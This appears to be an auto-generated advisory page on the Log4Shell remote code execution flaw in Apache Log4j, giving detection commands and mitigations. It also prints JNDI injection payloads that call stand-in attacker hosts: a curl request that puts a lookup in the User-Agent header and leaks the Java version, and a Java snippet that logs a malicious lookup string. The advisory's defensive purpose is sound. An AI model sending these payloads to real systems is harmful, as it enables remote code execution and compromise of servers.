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The vulnerability exists in the Java Naming and Directory Interface (JNDI) lookup feature of Apache Log4j versions 2.0-beta9 through 2.14.1. When logging messages containing input from user-controlled sources, such as HTTP headers, Log4j parses these messages for JNDI references. An attacker can craft a malicious string like ${jndi:ldap://attacker-controlled-server/payload}. If this string is logged by a vulnerable Log4j instance, it triggers a JNDI lookup to the attacker’s server. The server can respond with a serialized Java object or a reference to a remote class file. This forces the application to load and execute arbitrary code from the attacker’s server within the application’s context. The exploit leverages the inherent trust in JNDI lookups without proper validation. The vulnerability is network-exploitable without authentication, allowing remote code execution with the privileges of the Log4j process. This often leads to full compromise of the affected system, enabling data theft, ransomware deployment, or further network penetration. The issue stems from Log4j’s default behavior to resolve JNDI references, which was not restricted to local or trusted sources.
DailyCVE Form:
Platform: Apache Log4j
Version: 2.0-beta9 to 2.14.1
Vulnerability: Remote Code Execution
Severity: Critical
Date: December 2021
Prediction: Patched December 2021
What Undercode Say:
Analytics:
Scan for vulnerable Log4j versions
find / -name "log4j-core.jar" -type f
Check JAR manifests for version
java -cp log4j-core-.jar org.apache.logging.log4j.core.Version
Test for vulnerability with a DNS callback
curl -H 'User-Agent: ${jndi:ldap://${sys:java.version}.attacker.tld/a}' target.com
Monitor logs for JNDI patterns
grep -r "jndi:" /var/log/
// Example of malicious payload construction
String exploit = "${jndi:ldap://attacker.com/Exploit}";
logger.error(exploit);
How Exploit:
Attacker sends crafted requests with JNDI payloads in headers or parameters to vulnerable apps. Vulnerable Log4j instances parse and execute the payload, fetching malicious code from attacker LDAP servers, leading to remote code execution.
Protection from this CVE:
Update to Log4j 2.15.0 or later. Apply vendor patches. Remove JndiLookup class from classpath. Use WAF rules to block JNDI patterns. Disable JNDI lookups via environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS=true.
Impact:
Full system compromise, data breach, ransomware, botnet recruitment, supply chain attacks.
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Sources:
Reported By: github.com
Extra Source Hub:
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